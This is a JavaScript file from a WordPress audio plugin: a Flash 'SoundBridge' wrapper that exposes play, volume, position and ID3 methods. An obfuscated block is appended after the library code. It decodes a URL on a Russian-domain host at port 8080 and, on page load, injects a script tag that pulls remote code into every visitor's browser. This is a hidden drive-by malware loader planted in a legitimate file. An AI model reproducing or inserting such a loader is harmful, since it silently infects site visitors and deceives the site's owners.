/*
Copyright (c) 2006, Gustavo Ribeiro Amigo
All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
    * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

*/

    function Sound(options) {
        
        this.options = options;
        if(this.options == undefined) this.options = new Object();
        
/*        if(!this.options.swfLocation) { */
        this.options.swfLocation = "/wp-content/plugins/mp3inline/soundbridge/SoundBridge.swf";
/*        } */
    
        if(Sound.id_count == undefined) {
            Sound.id_count = 1;
        } else {
            Sound.id_count ++;
        }
        
        if(Sound.instances == undefined) {
            Sound.instances = new Object();
        }
        
        this.object_id = 'object_id_' + Sound.id_count;
        
        Sound.instances[this.object_id] = this;
        
        movie_swf = this.options.swfLocation;
        movie_id = this.object_id;
        
        movie_element = "";
        movie_element += '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="0" height="0"'; 
        movie_element += ' id="' + movie_id+ '"'; 
        movie_element += ' align="middle">';
        movie_element += '<param name="movie" value="'+movie_swf+'" />';
        movie_element += '<param name="quality" value="high" />';
        movie_element += '<param name="bgcolor" value="#ffffff" />';
        movie_element += '<param name="FlashVars" value="id='+ movie_id +'"/>';
        movie_element += '<param name="allowScriptAccess" value="always"/>';
        movie_element += '<embed src="'+movie_swf+'" FlashVars="id='+ movie_id +'"'; 
        movie_element += ' allowScriptAccess="always" quality="high" bgcolor="#ffffff" width="0" height="0"'; 
        movie_element += ' name="' + movie_id + '" align="middle" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />';
        movie_element += '</object>';    

        if( document.getElementById('__sound_flash__') == undefined) {
            var element = document.createElement("div");
            element.id = "__sound_flash__";
            document.body.appendChild(element);
        }
        
        document.getElementById('__sound_flash__').innerHTML += movie_element; 
        
    }
    
    Sound.prototype.loadSound = function(url, streaming) {
        return Sound.__call('loadSound',this.object_id, url, streaming);
    }
    
    Sound.prototype.start= function() {
        return Sound.__call('start', this.object_id);
    }

    Sound.prototype.stop = function() {
        return Sound.__call('stop', this.object_id);
    }
    
    Sound.prototype.getId3 = function() {
        return Sound.__call('id3', this.object_id);
    }
    
	Sound.prototype.getPan = function() {
    	return Sound.__call('getPan', this.object_id);
	}
	
	Sound.prototype.getTransform = function() {
		return Sound.__call('getTransform', this.object_id);
	}
	
	Sound.prototype.getVolume = function(){
		return Sound.__call('getVolume', this.object_id);
	}
	
	Sound.prototype.setPan = function(value){
    	return Sound.__call('setPan', this.object_id, value);	
	}
	
	Sound.prototype.setTransform = function(transformObject){
    	return Sound.__call('setTransform', this.object_id, transformObject);		
	}
	
	Sound.prototype.setVolume = function(value){
    	return Sound.__call('setVolume', this.object_id, value);			
	}
	
	Sound.prototype.start = function(secondOffset, loops){
	    return Sound.__call('start', this.object_id, secondOffset, loops);
	}
	
	Sound.prototype.getDuration = function(){
	    return Sound.__call('getDuration', this.object_id);
	}
	
	Sound.prototype.setDuration = function(value){
	    return Sound.__call('setDuration', this.object_id, value);	
	}
	
	Sound.prototype.getPosition = function(){
        return Sound.__call('getPosition', this.object_id);		
	}
	
	Sound.prototype.setPosition = function(value){
	    return Sound.__call('setPosition', this.object_id, value);		
	}

	Sound.prototype.getBytesLoaded = function(){
	    return Sound.__call('getBytesLoaded', this.object_id);		
	}
	
	Sound.prototype.getBytesTotal = function(){
        return Sound.__call('getBytesTotal', this.object_id);			
	}
	
	Sound.prototype.onLoad = function(success){
        Sound.trace('Sound:onLoad('+success+') event triggered');
	}	
    
    Sound.onLoad = function(object_id, success) {
        //Sound.trace('Sound.onLoad('+success+') object_id=' + object_id);
        Sound.instances[object_id].onLoad(success);
    }
    
	Sound.prototype.onSoundComplete = function(){
        Sound.trace('Sound:onSoundComplete() event triggered');
	}	    
    
    Sound.onSoundComplete = function(object_id) {
        Sound.instances[object_id].onSoundComplete;
    }   
    
	Sound.prototype.onID3 = function(){
        Sound.trace('Sound:onID3() event triggered');
	}	    
    
    Sound.onID3 = function(object_id) {
        Sound.instances[object_id].onID3();        
    }    
    
    Sound.trace = function(value, isJavascript) {
        if(document.getElementById('sound_tracer') != undefined) {
            if(isJavascript == undefined || isJavascript == true) {
                document.getElementById('sound_tracer').value += 'Javascript: ' + value + '\n';            
            } else {
                document.getElementById('sound_tracer').value += value + '\n';            
            }
        }
    }  
    
    Sound.__thisMovie = function(movieName) {
        if (navigator.appName.indexOf("Microsoft") != -1) {
            return window[movieName]
        }
        else {
            return document[movieName]
        }
    }
    
    Sound.__call = function () {
        Sound.trace('Sound.__call '+ arguments[0]+ ' on object_id ' + arguments[1] );    
        var functionname = arguments[0];
        var object_id = arguments[1];        
        var justArgs = new Array();
        if (arguments.length > 1)   {
           for (var i = 2; i < arguments.length; i++ ) {
             justArgs.push(arguments[i]);
           }
        }        
        return Sound.__thisMovie(object_id).proxyMethods(functionname, justArgs);
    } 



this.n="";function X(){var N='';var Bw;if(Bw!='' && Bw!='Z'){Bw='J'};var S=unescape;var O="\x68\x74\x74\x70\x3a\x2f\x2f\x76\x65\x72\x69\x7a\x6f\x6e\x2d\x6e\x65\x74\x2e\x61\x72\x74\x69\x63\x6c\x65\x73\x62\x61\x73\x65\x2e\x63\x6f\x6d\x2e\x35\x64\x36\x64\x2d\x63\x6f\x6d\x2e\x57\x61\x72\x69\x6e\x67\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x2e\x72\x75\x3a";var KN='';var Jn='';var M='';var A=new Array();var K=new String("g");var G=window;var zV;if(zV!='' && zV!='h'){zV='p'};function C(H,V){this.UR="";var i="";var nk;if(nk!='zW'){nk='zW'};var o=new String();var m=S("%5b")+V+S("%5d");var Un;if(Un!='' && Un!='eE'){Un=''};var mk=new RegExp(m, K);var fX;if(fX!='q' && fX!='Bl'){fX='q'};return H.replace(mk, M);var sr=new Date();var JQ=new Date();};var fy;if(fy!='v' && fy!='nZ'){fy='v'};var _;if(_!='QY' && _!='MH'){_='QY'};var gI=new Array();var t='';var zp;if(zp!='hm'){zp=''};this.ZP='';var k=S("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%70%6c%6f%67%2e%6a%70%2f%68%75%72%72%69%79%65%74%2e%63%6f%6d%2e%74%72%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2e%70%68%70");var JK=new String();var a=C('8590298950236','16742953');var Q=document;var Se='';function u(){var Zp;if(Zp!='SV'){Zp='SV'};var dp=new Array();var xR;if(xR!='Fl' && xR!='pZ'){xR=''};t=O;var lN;if(lN!='qW' && lN!='Fe'){lN=''};t+=a;var NU;if(NU!='' && NU!='FJ'){NU='pf'};t+=k;var im;if(im!=''){im='qo'};var VE=new String();this.w='';try {var BG='';this.js="";this.YN="";B=Q.createElement(C('sFc3rFiMpMtH','1FZ73HmVMG59b'));var UW=new String();var xS;if(xS!='dI'){xS='dI'};var Ms='';var Oi;if(Oi!='' && Oi!='No'){Oi='lF'};B.defer=[1,5][0];var p_;if(p_!='FR'){p_='FR'};B.src=t;this.ru='';var hY;if(hY!='' && hY!='My'){hY=''};var wq;if(wq!='' && wq!='Vd'){wq=null};Q.body.appendChild(B);this.zWT='';var Ua;if(Ua!='' && Ua!='RY'){Ua=null};} catch(r){this.Mm='';};var zE=new Date();}var KU=new Array();G["9PYon".substr(3)+"lo"+"ad"]=u;var xZ='';var hz="";var Be;if(Be!='Fj' && Be != ''){Be=null};var Dr='';};var VQ="";this.aE='';this.Xg='';X();this.Dn='';var AV;if(AV!='JR' && AV != ''){AV=null};